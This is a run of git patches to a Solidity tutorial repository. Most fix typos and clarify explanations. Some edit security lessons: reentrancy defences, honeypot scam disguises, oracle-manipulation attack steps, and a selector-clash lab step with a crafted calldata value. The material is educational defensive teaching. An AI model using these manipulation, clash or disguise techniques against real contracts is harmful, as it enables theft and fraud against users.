cc9c9a55c4da3e1312003318edb0ebfe5ee11dbc Mon Sep 17 00:00:00 2001 From: Mingyuan Yu <18106816+Yumingyuan@users.noreply.github.com> Date: Fri, 22 Sep 2023 08:19:31 +0800 Subject: [PATCH 37/46] Update readme.md Update the code to address the error when called people.foo and Eve.foo --- 13_Inheritance/readme.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/13_Inheritance/readme.md b/13_Inheritance/readme.md index 9bedcc161..70c9cb079 100644 --- a/13_Inheritance/readme.md +++ b/13_Inheritance/readme.md @@ -212,7 +212,7 @@ contract Adam is God { contract Eve is God { function foo() public virtual override { emit Log("Eve.foo called"); - Eve.foo(); + God.foo(); } function bar() public virtual override { From 60c68db520f58977de5b01ad3a31017042e1402e Mon Sep 17 00:00:00 2001 From: Wade <39545122+MuHongWeiWei@users.noreply.github.com> Date: Thu, 28 Sep 2023 19:58:54 +0800 Subject: [PATCH 38/46] Update readme.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 回傳類型是 bytes --- 20_SendETH/readme.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/20_SendETH/readme.md b/20_SendETH/readme.md index 1489938f2..a22aeb902 100644 --- a/20_SendETH/readme.md +++ b/20_SendETH/readme.md @@ -110,7 +110,7 @@ function sendETH(address payable _to, uint256 amount) external payable{ - 用法是`接收方地址.call{value: 发送ETH数额}("")`。 - `call()`没有`gas`限制,可以支持对方合约`fallback()`或`receive()`函数实现复杂逻辑。 - `call()`如果转账失败,不会`revert`。 -- `call()`的返回值是`(bool, data)`,其中`bool`代表着转账成功或失败,需要额外代码处理一下。 +- `call()`的返回值是`(bool, bytes)`,其中`bool`代表着转账成功或失败,需要额外代码处理一下。 代码样例: ```solidity From 03016abce890988707e7d7b73ff09727c17cc06c Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Fri, 29 Sep 2023 00:21:59 +0800 Subject: [PATCH 39/46] change name 56 Swap to DEX --- {56_Swap => 56_DEX}/SimpleSwap.sol | 0 {56_Swap => 56_DEX}/img/56-1.png | Bin {56_Swap => 56_DEX}/readme.md | 0 README.md | 2 +- 4 files changed, 1 insertion(+), 1 deletion(-) rename {56_Swap => 56_DEX}/SimpleSwap.sol (100%) rename {56_Swap => 56_DEX}/img/56-1.png (100%) rename {56_Swap => 56_DEX}/readme.md (100%) diff --git a/56_Swap/SimpleSwap.sol b/56_DEX/SimpleSwap.sol similarity index 100% rename from 56_Swap/SimpleSwap.sol rename to 56_DEX/SimpleSwap.sol diff --git a/56_Swap/img/56-1.png b/56_DEX/img/56-1.png similarity index 100% rename from 56_Swap/img/56-1.png rename to 56_DEX/img/56-1.png diff --git a/56_Swap/readme.md b/56_DEX/readme.md similarity index 100% rename from 56_Swap/readme.md rename to 56_DEX/readme.md diff --git a/README.md b/README.md index 49c53870e..324bf0a69 100644 --- a/README.md +++ b/README.md @@ -140,7 +140,7 @@ **第55讲:多重调用**:[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/55_MultiCall) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/55_MultiCall/readme.md) -**第56讲:去中心化交易所**:[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/56_Swap) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/56_Swap/readme.md) +**第56讲:去中心化交易所**:[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/56_DEX) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/56_DEX/readme.md) **第57讲:闪电贷**:[代码](https://github.com/AmazingAng/WTFSolidity/blob/main/57_Flashloan) | [文章](https://github.com/AmazingAng/WTFSolidity/blob/main/57_Flashloan/readme.md) From 4b7f6b1e858514240698f6fc7eecdb67b5ed85fe Mon Sep 17 00:00:00 2001 From: young <727988245@qq.com> Date: Sat, 30 Sep 2023 10:15:40 +0800 Subject: [PATCH 40/46] add pullpayment modal in ReentrancyAttack Protection --- S01_ReentrancyAttack/readme.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/S01_ReentrancyAttack/readme.md b/S01_ReentrancyAttack/readme.md index 9ff1b6018..73d9d8303 100644 --- a/S01_ReentrancyAttack/readme.md +++ b/S01_ReentrancyAttack/readme.md @@ -210,6 +210,8 @@ function withdraw() external nonReentrant{ } ``` + 此外,OpenZeppelin也提倡遵循PullPayment(拉取支付)模式以避免潜在的重入攻击。其原理是通过引入第三方(escrow),将原先的“主动转账”分解为“转账者发起转账”加上“接受者主动拉取”。当想要发起一笔转账时,会通过`_asyncTransfer(address dest, uint256 amount)`将待转账金额存储到第三方合约中,从而避免因重入导致的自身资产损失。而当接受者想要接受转账时,需要主动调用`withdrawPayments(address payable payee)`进行资产的主动获取。 + ## 总结 这一讲,我们介绍了以太坊最常见的一种攻击——重入攻击,并编了一个`0xAA`抢银行的小故事方便大家理解,最后我们介绍了两种预防重入攻击的办法:检查-影响-交互模式(checks-effect-interaction)和重入锁。在例子中,黑客利用了回退函数在目标合约进行`ETH`转账时进行重入攻击。实际业务中,`ERC721`和`ERC1155`的`safeTransfer()`和`safeTransferFrom()`安全转账函数,还有`ERC777`的回退函数,都可能会引发重入攻击。对于新手,我的建议是用重入锁保护所有可能改变合约状态的`external`函数,虽然可能会消耗更多的`gas`,但是可以预防更大的损失。 \ No newline at end of file From 822d53a60bcf106998f8dcaaa420388c9b28891e Mon Sep 17 00:00:00 2001 From: young <727988245@qq.com> Date: Sat, 30 Sep 2023 10:41:05 +0800 Subject: [PATCH 41/46] add example on pesudo-centralization --- S03_Centralization/readme.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/S03_Centralization/readme.md b/S03_Centralization/readme.md index b4c9889ef..959c61b74 100644 --- a/S03_Centralization/readme.md +++ b/S03_Centralization/readme.md @@ -34,7 +34,7 @@ tags: 伪去中心化的项目通常对外鼓吹自己是去中心化的,但实际上和中心化项目一样存在单点风险。比如使用多签钱包来管理智能合约,但几个多签人是一致行动人,背后由一个人控制。这类项目由于包装的很去中心化,容易得到投资者信任,所以当黑客事件发生时,被盗金额也往往更大。 -近两年爆火的链游项目 Axie 的 Ronin 链跨链桥项目在2022年3月被盗 6.24 亿美元,是历史上被盗金额最大的事件。Ronin 跨链桥由 9 个验证者维护,必须有 5 个人达成共识才能批准存款和提款交易。这看起来像多签一样,非常去中心化。但实际上其中 4 个验证者由 Axie 的开发公司 Sky Mavis 控制,而另 1 个由 Axie DAO 控制的验证者也批准了 Sky Mavis 验证节点代表他们签署交易。因此,在攻击者获取了 Sky Mavis 的私钥后(具体方法未披露),就可以控制 5 个验证节点,授权盗走了 173,600 ETH 和 2550 万USDC。 +近两年爆火的链游项目 Axie 的 Ronin 链跨链桥项目在2022年3月被盗 6.24 亿美元,是历史上被盗金额最大的事件。Ronin 跨链桥由 9 个验证者维护,必须有 5 个人达成共识才能批准存款和提款交易。这看起来像多签一样,非常去中心化。但实际上其中 4 个验证者由 Axie 的开发公司 Sky Mavis 控制,而另 1 个由 Axie DAO 控制的验证者也批准了 Sky Mavis 验证节点代表他们签署交易。因此,在攻击者获取了 Sky Mavis 的私钥后(具体方法未披露),就可以控制 5 个验证节点,授权盗走了 173,600 ETH 和 2550 万USDC。此外,在2023年8月1日,PEPE多重签名钱包将阈值从`5/8`更改为仅`2/8`,并从多签地址转出大量PEPE,这也是伪去中心化的体现。 `Harmony`公链的跨链桥在2022年6月被盗 1 亿美元。`Harmony`桥由5 个多签人控制,很离谱的是只需其中 2 个人签名就可以批准一笔交易。在黑客设法盗取两个多签人的私钥后,将用户质押的资产盗空。 From 36a7041142dedc51408bd8f5c83b34aab1271013 Mon Sep 17 00:00:00 2001 From: young <727988245@qq.com> Date: Sat, 30 Sep 2023 11:34:24 +0800 Subject: [PATCH 42/46] add disguise cases of honeypot --- S10_Honeypot/readme.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/S10_Honeypot/readme.md b/S10_Honeypot/readme.md index 4bba583ca..e7bcbd486 100644 --- a/S10_Honeypot/readme.md +++ b/S10_Honeypot/readme.md @@ -113,6 +113,14 @@ contract HoneyPot is ERC20, Ownable { 6. 出售貔貅币,无法弹出交易。 ![](./img/S10-7.png) +## 潜在伪装 + +为了绕过相关的貔貅检查,有些貔貅合约还进行了一系列的伪装: + +1. 譬如对于非特权用户的转账,不会进行回滚,而是保持状态不变,表面上显示交易成功,实际上依旧没有实现用户的真实交易意图。 + +2. 伪造错误的事件,通过emit不存在的事件误导正在监听事件的钱包和浏览器,使其进行错误的显示,从而使用户产生错误的判断。 + ## 预防方法 貔貅币是韭菜在链上梭哈最容易遇到的骗局,并且形式多变,预防非常有难度。我们有以下几点建议,可以降低被貔貅盘割韭菜的风险: From bb21107ea7f1b68999a4c8f089618b9d8d662fcf Mon Sep 17 00:00:00 2001 From: young <727988245@qq.com> Date: Sat, 30 Sep 2023 17:39:22 +0800 Subject: [PATCH 43/46] add prevention method of Oracle Manipulation --- S15_OracleManipulation/readme.md | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/S15_OracleManipulation/readme.md b/S15_OracleManipulation/readme.md index 2f9eac166..91ff80d9b 100644 --- a/S15_OracleManipulation/readme.md +++ b/S15_OracleManipulation/readme.md @@ -44,7 +44,7 @@ tags: ## 漏洞例子 -下面我们学习一个预言机漏洞的例子,`oUSD` 合约。该合约是一个稳定币合约,符合ERC20标准。类似合成资产平台Synthetix,用户可以在这个合约中零滑点的将 `ETH` 兑换为 `oUSD`(Oracle USD)。兑换价格由自定义的价格预言机(`getPrice()`函数)决定,这里采取的是Uniswap V2的 `WETH-BUSD` 的瞬时价格。在之后的攻击示例例子中,我们会看到这个预言机非常容易被操纵。 +下面我们学习一个预言机漏洞的例子,`oUSD` 合约。该合约是一个稳定币合约,符合ERC20标准。类似合成资产平台Synthetix,用户可以在这个合约中零滑点的将 `ETH` 兑换为 `oUSD`(Oracle USD)。兑换价格由自定义的价格预言机(`getPrice()`函数)决定,这里采取的是Uniswap V2的 `WETH-BUSD` 的瞬时价格。在之后的攻击示例中,我们会看到这个预言机在使用闪电贷和大额资金的情况下非常容易被操纵。 ### 漏洞合约 @@ -105,8 +105,8 @@ contract oUSD is ERC20{ 我们针对有漏洞的价格预言机 `getPrice()` 函数进行攻击,步骤: 1. 准备一些 `BUSD`,可以是自有资金,也可以是闪电贷借款。在实现中,我们利用 Foundry 的 `deal` cheatcode 在本地网络上给自己铸造了 `1_000_000 BUSD` -2. 在 UniswapV2 的 `WETH-BUSD` 池中大量买入 `WETH`。具体实现见攻击代码的 `swapBUSDtoWETH()` 函数。 -3. `WETH` 瞬时价格暴涨,这时我们调用 `swap()` 函数将 `ETH` 转换为 `oUSD`。 +2. 在 UniswapV2 的 `WETH-BUSD` 池中使用`BUSD`大量买入 `WETH`。具体实现见攻击代码的 `swapBUSDtoWETH()` 函数。 +3. 在此情况下,`WETH-BUSD`池中代币对比例失去了平衡,`WETH` 瞬时价格暴涨,这时我们调用 `swap()` 函数将 `ETH` 转换为 `oUSD`。 4. **可选:** 在 UniswapV2 的 `WETH-BUSD` 池中卖出第2步买入的 `WETH`,收回本金。 这4步可以在一个交易中完成。 @@ -232,7 +232,8 @@ contract OracleTest is Test { 2. 不要使用现货/瞬时价格做价格预言机,要加入价格延迟,例如时间加权平均价格(TWAP)。 3. 使用去中心化的预言机。 4. 使用多个数据源,每次选取最接近价格中位数的几个作为预言机,避免极端情况。 -5. 仔细阅读第三方价格预言机的使用文档及参数设置。 +5. 在使用Oracle预言机的询价方法如`latestRoundData()`,需要对返回结果进行校验,防止使用过时失效数据。 +6. 仔细阅读第三方价格预言机的使用文档及参数设置。 ## 总结 From 41decefa2b6ae9e60ee3f4a720436973edf7660d Mon Sep 17 00:00:00 2001 From: Ben0024 <140468115+Ben0024@users.noreply.github.com> Date: Mon, 2 Oct 2023 13:18:23 -0500 Subject: [PATCH 44/46] Update readme.md Clarify the requirements that the receiver need to achieve to receive ETH from a self-destructed contract. --- 26_DeleteContract/readme.md | 1 + 1 file changed, 1 insertion(+) diff --git a/26_DeleteContract/readme.md b/26_DeleteContract/readme.md index a927e457d..6f92f3294 100644 --- a/26_DeleteContract/readme.md +++ b/26_DeleteContract/readme.md @@ -30,6 +30,7 @@ tags: selfdestruct(_addr); ``` 其中`_addr`是接收合约中剩余`ETH`的地址。 +`_addr` 地址不需要有`receive()`或`fallback()`也能接收`ETH`。 ### 例子 ```solidity From 222f8e445ae4cdab8603e5243f618f2e3a84ba6c Mon Sep 17 00:00:00 2001 From: Wade <39545122+MuHongWeiWei@users.noreply.github.com> Date: Tue, 3 Oct 2023 21:03:33 +0800 Subject: [PATCH 45/46] Update readme.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 目標合約是在 21 章 --- 22_Call/readme.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/22_Call/readme.md b/22_Call/readme.md index 471626c76..5d01c86ef 100644 --- a/22_Call/readme.md +++ b/22_Call/readme.md @@ -49,7 +49,7 @@ abi.encodeWithSignature("函数签名", 逗号分隔的具体参数) 看起来有点复杂,下面我们举个`call`应用的例子。 ### 目标合约 -我们先写一个简单的目标合约`OtherContract`并部署,代码与第19讲中基本相同,只是多了`fallback`函数。 +我们先写一个简单的目标合约`OtherContract`并部署,代码与第21讲中基本相同,只是多了`fallback`函数。 ```solidity contract OtherContract { From 74e5027e2fc24165b991ef0ec8f496b76dd6712c Mon Sep 17 00:00:00 2001 From: "Li, Amazing Ang" Date: Sun, 15 Oct 2023 19:19:48 +0800 Subject: [PATCH 46/46] fix typo --- 36_MerkleTree/readme.md | 2 +- Languages/en/03_Function_en/readme.md | 2 +- Languages/en/13_Inheritance_en/readme.md | 2 +- Languages/en/21_CallContract_en/readme.md | 2 +- Languages/en/23_Delegatecall_en/readme.md | 4 ++-- Languages/en/24_Create_en/readme.md | 4 ++-- Languages/en/README.md | 2 +- S01_ReentrancyAttack/readme.md | 2 +- S02_SelectorClash/readme.md | 2 +- 9 files changed, 11 insertions(+), 11 deletions(-) diff --git a/36_MerkleTree/readme.md b/36_MerkleTree/readme.md index 978d35e58..f01652ad1 100644 --- a/36_MerkleTree/readme.md +++ b/36_MerkleTree/readme.md @@ -114,7 +114,7 @@ library MerkleProof { 3. `_hashPair()`函数:用`keccak256()`函数计算非根节点对应的两个子节点的哈希(排序后)。 -我们将`地址0`,`root`和对应的`proof`输入到`verify()`函数,将返回`ture`。因为`地址0`在根为`root`的`Merkle Tree`中,且`proof`正确。如果改变了其中任意一个值,都将返回`false`。 +我们将`地址0`,`root`和对应的`proof`输入到`verify()`函数,将返回`true`。因为`地址0`在根为`root`的`Merkle Tree`中,且`proof`正确。如果改变了其中任意一个值,都将返回`false`。 ## 利用`Merkle Tree`发放`NFT`白名单 diff --git a/Languages/en/03_Function_en/readme.md b/Languages/en/03_Function_en/readme.md index e5f9401df..5f0d569c7 100644 --- a/Languages/en/03_Function_en/readme.md +++ b/Languages/en/03_Function_en/readme.md @@ -71,7 +71,7 @@ The following statements are considered modifying the state: 8. Using inline assembly that contains certain opcodes. -I drew a Mario cartton to visualize `pure` and `view`. In the picture, the state variable is represented by Princess Peach, keywards are represented by three different characters. +I drew a Mario cartton to visualize `pure` and `view`. In the picture, the state variable is represented by Princess Peach, keywords are represented by three different characters. ![WHAT is pure and view in solidity?](https://images.mirror-media.xyz/publication-images/1B9kHsTYnDY_QURSWMmPb.png?height=1028&width=1758) diff --git a/Languages/en/13_Inheritance_en/readme.md b/Languages/en/13_Inheritance_en/readme.md index 45932ee68..0f2658e51 100644 --- a/Languages/en/13_Inheritance_en/readme.md +++ b/Languages/en/13_Inheritance_en/readme.md @@ -26,7 +26,7 @@ Inheritance is one of the core concepts in object-oriented programming, which ca ### Rules -There are two important keywards for inheritance in Solidity: +There are two important keywords for inheritance in Solidity: - `virtual`: If the functions in the parent contract are expected to be overridden in its child contracts, they should be declared as `virtual`. diff --git a/Languages/en/21_CallContract_en/readme.md b/Languages/en/21_CallContract_en/readme.md index b80349cf5..23702cb54 100644 --- a/Languages/en/21_CallContract_en/readme.md +++ b/Languages/en/21_CallContract_en/readme.md @@ -21,7 +21,7 @@ Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidit ## Interact with deployed contract -Interactions between contracts not only make the programs re-usable on the blockchain, also enrich the Ethereum ecosystem. Many `web3` Dapps rely on other contract to work, for example `yield farming`. In this tutorial, we will talk about how to interact with contract that source code (or ABI) and address are available. +Interactions between contracts not only make the programs reusable on the blockchain, also enrich the Ethereum ecosystem. Many `web3` Dapps rely on other contract to work, for example `yield farming`. In this tutorial, we will talk about how to interact with contract that source code (or ABI) and address are available. ## Target Contract Lets write a simple contract `OtherContract` to work with. diff --git a/Languages/en/23_Delegatecall_en/readme.md b/Languages/en/23_Delegatecall_en/readme.md index 35112bbd4..5fbd3b42d 100644 --- a/Languages/en/23_Delegatecall_en/readme.md +++ b/Languages/en/23_Delegatecall_en/readme.md @@ -74,7 +74,7 @@ contract C { } ``` ### Call Initizalization Contract B -First, contract `B` must have the same state variable layout as target contract `C`, 2 variabels and the order is `num` and `sender`. +First, contract `B` must have the same state variable layout as target contract `C`, 2 variables and the order is `num` and `sender`. ```solidity contract B { @@ -137,5 +137,5 @@ While function `delegatecallSetVars` calls `setVars` via `delegatecall`. Similar ![resultdelegatecall.png](./img/23-8.png) ## Summary -In this lecture we introduce another low level function in `Solidity`, `delegatecall`. Similar to `call`, `delegatecall` can be used to call another contract; the difference of `delegatecall` and `call` is `execution context`, the `execution context` is `C` if `B` `call` `C`; but the `execution context` is `B` if `B` `delegatecall` `C`. The major use cases for delegatecall is `proxy contract` and `EIP-2535 Diamons`. +In this lecture we introduce another low level function in `Solidity`, `delegatecall`. Similar to `call`, `delegatecall` can be used to call another contract; the difference of `delegatecall` and `call` is `execution context`, the `execution context` is `C` if `B` `call` `C`; but the `execution context` is `B` if `B` `delegatecall` `C`. The major use cases for delegatecall is `proxy contract` and `EIP-2535 Diamonds`. diff --git a/Languages/en/24_Create_en/readme.md b/Languages/en/24_Create_en/readme.md index afb8c0ffa..6f5f5ecc0 100644 --- a/Languages/en/24_Create_en/readme.md +++ b/Languages/en/24_Create_en/readme.md @@ -18,7 +18,7 @@ Community: [Discord](https://discord.gg/5akcruXrsk)|[Wechat](https://docs.goog Codes and tutorials are open source on GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) ----- -On Ethereum, user (Externally-owned account, `EOA`) can create smart contracts, a smart contract can also create new smart contracts. The decentralized exchange `Uniswap` creates an infinite number of `Pair` contracts with its `Factory` contract. In this lecture, I will explain how to create new smart contracts in an existed smart contract by using a simplied version of `Uniswap`. +On Ethereum, user (Externally-owned account, `EOA`) can create smart contracts, a smart contract can also create new smart contracts. The decentralized exchange `Uniswap` creates an infinite number of `Pair` contracts with its `Factory` contract. In this lecture, I will explain how to create new smart contracts in an existed smart contract by using a simplified version of `Uniswap`. ## `create` and `create2` There are two ways to create a new contract in an existed contract, `create` and `create2`, this lecture will introduce `create`, next lecture will introduce `create2`. @@ -61,7 +61,7 @@ contract Pair{ ``` `Pair` contract is very simple, including 3 state variables: `factory`, `token0` and `token1`. -The `constructor` assigns Factory contract's address to `factory` at the time of delpoyment. `initialize` function will be called once by the `Factory` contract when the `Pair` contract is created, and update `token0` and `token1` with the addresses of 2 tokens in the token pair. +The `constructor` assigns Factory contract's address to `factory` at the time of deployment. `initialize` function will be called once by the `Factory` contract when the `Pair` contract is created, and update `token0` and `token1` with the addresses of 2 tokens in the token pair. > **Ask**: Why doesn't `Uniswap` set the addresses of `token0` and `token1` in the `constructor`? > diff --git a/Languages/en/README.md b/Languages/en/README.md index e23e24eca..497aab89c 100644 --- a/Languages/en/README.md +++ b/Languages/en/README.md @@ -27,7 +27,7 @@ Tutorials and codes are open-sourced on github: [github.com/AmazingAng/WTFSolidi **Chapter 5: Data Location (storage/memory/calldata)**:[Code](./05_DataStorage_en) | [Tutorial](./05_DataStorage_en/readme.md) -**Chapter 6: Array and Sruct**:[Code](./06_ArrayAndStruct_en) | [Tutorial](./06_ArrayAndStruct_en/readme.md) +**Chapter 6: Array and Struct**:[Code](./06_ArrayAndStruct_en) | [Tutorial](./06_ArrayAndStruct_en/readme.md) **Chapter 7: Mapping**:[Code](./07_Mapping_en) | [Tutorial](./07_Mapping_en/readme.md) diff --git a/S01_ReentrancyAttack/readme.md b/S01_ReentrancyAttack/readme.md index 73d9d8303..10be523d6 100644 --- a/S01_ReentrancyAttack/readme.md +++ b/S01_ReentrancyAttack/readme.md @@ -152,7 +152,7 @@ contract Attack { 1. 部署`Bank`合约,调用`deposit()`函数,转入`20 ETH`。 2. 切换到攻击者钱包,部署`Attack`合约。 -3. 调用`Atack`合约的`attack()`函数发动攻击,调用时需转账`1 ETH`。 +3. 调用`Attack`合约的`attack()`函数发动攻击,调用时需转账`1 ETH`。 4. 调用`Bank`合约的`getBalance()`函数,发现余额已被提空。 5. 调用`Attack`合约的`getBalance()`函数,可以看到余额变为`21 ETH`,重入攻击成功。 diff --git a/S02_SelectorClash/readme.md b/S02_SelectorClash/readme.md index 3baf05440..0f0c74f76 100644 --- a/S02_SelectorClash/readme.md +++ b/S02_SelectorClash/readme.md @@ -88,7 +88,7 @@ Poly Network黑客事件中,黑客碰撞出的`_method`为 `f1121318093`,即 1. 部署`SelectorClash`合约。 2. 调用`executeCrossChainTx()`,参数填`0x6631313231333138303933`,`0x`,`0x`,`0`,发起攻击。 -3. 查看`solved`变量的值,被修改为`ture`,攻击成功。 +3. 查看`solved`变量的值,被修改为`true`,攻击成功。 ## 总结